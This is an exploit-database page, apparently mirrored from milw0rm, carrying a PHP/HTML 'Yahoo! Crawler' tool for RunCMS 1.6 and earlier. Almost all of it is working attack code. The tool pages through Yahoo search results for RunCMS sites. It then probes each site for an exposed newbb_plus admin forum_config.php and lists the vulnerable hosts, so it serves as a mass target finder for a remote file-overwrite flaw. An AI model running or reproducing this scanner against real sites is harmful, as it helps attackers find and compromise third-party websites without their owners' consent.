RunCMS <= 1.6 disclaimer.php Remote File Overwrite Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType
RunCMS 1.6 disclaimer.php Remote File Overwrite Exploit for Yahoo! Crawle

                                                &#60;?php
########################## WwW.BugReport.ir ###########################################
#
#      AmnPardaz Security Research & Penetration Testing Group
#
# Title: RunCms`s Bug Yahoo! Crawler
# Vendor: http://www.runcms.org/
# Vulnerable Version: RunCMS 1.6 Halloween, 1.5.x (prior versions also may be affected)
# Exploitation: Remote with browser
# Coded By: trueend5 (trueend5 yahoo com)
#######################################################################################
# Leaders : Shahin Ramezany & Sorush Dalili
# Team Members: Alireza Hasani ,Amir Hossein Khonakdar, Hamid Farhadi
# Security Site: WwW.BugReport.ir - WwW.AmnPardaz.Com
# Country: Iran
# Contact : [email protected]
######################## Bug Description ###########################
?&#62;

&#60;html dir=&#34;ltr&#34;&#62;
&#60;head&#62;
&#60;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=utf-8&#34;&#62;
&#60;title&#62;RunCms`s Bug Yahoo! Crawler&#60;/title&#62;
&#60;style type=&#34;text/css&#34; media=&#34;screen&#34;&#62;
body {
	font-size: 10px;
	font-family: verdana;
}
INPUT {
	BORDER-TOP-WIDTH: 1px; FONT-WEIGHT: bold; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 10px; BORDER-LEFT-COLOR: #D50428; BACKGROUND: #590009; BORDER-BOTTOM-WIDTH: 1px; BORDER-BOTTOM-COLOR: #D50428; COLOR: #00ff00; BORDER-TOP-COLOR: #D50428; FONT-FAMILY: verdana; BORDER-RIGHT-WIDTH: 1px; BORDER-RIGHT-COLOR: #D50428
}
&#60;/style&#62;
&#60;/head&#62;
&#60;body dir=&#34;ltr&#34; alink=&#34;#00ff00&#34;  bgcolor=&#34;#000000&#34; link=&#34;#00c000&#34; text=&#34;#008000&#34; vlink=&#34;#00c000&#34;&#62;
&#60;form action=&#34;?&#34; method=&#34;post&#34;&#62;
Run the Exploit And Use the results of &#34;Yahoo! Search Engine&#34; starting From the page:
&#60;input type=&#34;text&#34; name=&#34;StartPage&#34; value=&#34;1&#34; size=&#34;3&#34;&#62;
including
&#60;input type=&#34;text&#34; name=&#34;PerPage&#34; value=&#34;100&#34; size=&#34;3&#34;&#62;
results per page.&#60;BR&#62;&#60;BR&#62;
&#60;input type=&#34;submit&#34; name=&#34;Start&#34; value=&#34;Start&#34;&#62;
&#60;/form&#62;
&#60;?php

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;, 2);
ob_implicit_flush (1);


function sendpacket($packet)
{
	global $host, $html;
	$port  = 80;
		
	$ock=fsockopen(gethostbyname($host),$port);
    if ($ock)
	{
		fputs($ock,$packet);
		$html=&#39;&#39;;
		while (!feof($ock))
		{
			$html.=fgets($ock);
		}
		fclose($ock);
		// echo nl2br(htmlentities($html));
    }else echo &#39;&#60;BR&#62;No response from &#39;.htmlentities($host).&#39;&#60;BR&#62;&#39;;
}

	// Start
	if(isset($_POST[&#39;Start&#39;] ,$_POST[&#39;StartPage&#39;] ,$_POST[&#39;PerPage&#39;]))
	{
		$StartPage = ((intval($_POST[&#39;StartPage&#39;])) &#62; 0) ? intval($_POST[&#39;StartPage&#39;]) : 1;
		$PerPage   = ((intval($_POST[&#39;PerPage&#39;])) &#60;= 100) ? intval($_POST[&#39;PerPage&#39;]) : 100;
		if (($StartPage*$PerPage) &#62; 1000)
		{
			echo &#34;Yahoo! Search doesn&#39;t show More than 1000 Results per query&#34;.&#34;&#60;BR&#62;&#34;;
			die();
		}
		echo &#39;Trying to obtain URLs Which are suspected to &#34;newbb_plus disclaimer.php
		 File Overwrite&#34; ...&#39;.&#39;&#60;BR&#62;&#39;;
		
		$Yahoo     = &#34;search.yahoo.com&#34;;
		$S         = $StartPage;
		$P         = $PerPage;
		
		for ($S; $S*$P &#60; 1000; $S++)
		{
			$host    = $Yahoo;
			$B       = ($S == 1) ? &#39;&#39; : &#39;&b=&#39;.((($S-1)*$P)+1);
			$Query   = &#34;/search?p=runcms+inurl%3A%22%2Fmodules%2Fnews%2F%22&n=$P&ei=utf-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=url&vd=all&vst=0&vf=all&vm=p&fl=0&xargs=0&pstart=1&#34;.$B;
			
			$packet  = &#34;GET &#34;.$Query.&#34; HTTP/1.1\r\n&#34;;
			$packet .= &#34;User-Agent: Shareaza v1.x.x.xx\r\n&#34;;
			$packet .= &#34;Host: &#34;.$host.&#34;\r\n&#34;;
			$packet .= &#34;Connection: Close\r\n\r\n&#34;;
			sendpacket($packet);
			if(stristr($html , &#39;403 Forbidden&#39;) === false 
			&& stristr($html , &#39;302 Moved&#39;) === false)
			{
				echo &#39;&#60;HR&#62;&#60;BR&#62;&#60;CENTER&#62;Obtained URLs From Page:&#39;.($S).&#39;&#60;CENTER&#62;&#60;BR&#62;&#39;;
				$Pattern = &#39;/href=&#34;http:\/\/?([^\/]+)?(\/[a-zA-Z]+)?(\/modules\/news\/)/i&#39;;
				preg_match_all($Pattern, $html, $Matches);
				$TotalLinks = count($Matches[1]);
				echo &#34;In Progress&#60;BR&#62;&#34;;
				for ($I=0; $I &#60; $TotalLinks; $I++)
				{
					echo &#34;.&#34;;
					if ($Matches[2][$I] == &#39;&#39;)
					{
						$Path = &#34;/modules/newbb_plus/admin/forum_config.php&#34;;
					}else 
					$Path    = $Matches[2][$I].&#34;/modules/newbb_plus/admin/forum_config.php&#34;;
					$host    = $Matches[1][$I];
					$packet  = &#34;GET &#34;.$Path.&#34; HTTP/1.1\r\n&#34;;
					$packet .= &#34;User-Agent: Shareaza v1.x.x.xx\r\n&#34;;
					$packet .= &#34;Host: &#34;.$host.&#34;\r\n&#34;;
					$packet .= &#34;Connection: Close\r\n\r\n&#34;;
					sendpacket($packet);
					if(stristr($html , &#39;_MD_A_CONFIGFORUM&#39;) !== false)
					{
						echo &#34;&#60;BR&#62;&#60;A href=&#39;http://&#34;.$host.$Path.&#34;&#39;&#62;&#34;.$host.$Path.&#34;&#60;/A&#62;&#60;BR&#62;&#34;;
					}					
				}
			}else 
			{
				echo &#39;&#60;BR&#62;&#39;.&#39;Yahoo! finds out that this in an automated request
				 from a malware! So try again after awhile!&#39;;
				die();
			}
		}
	}
?&#62;
&#60;/body&#62;
&#60;/html&#62;

# milw0rm.com [2007-11-25]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1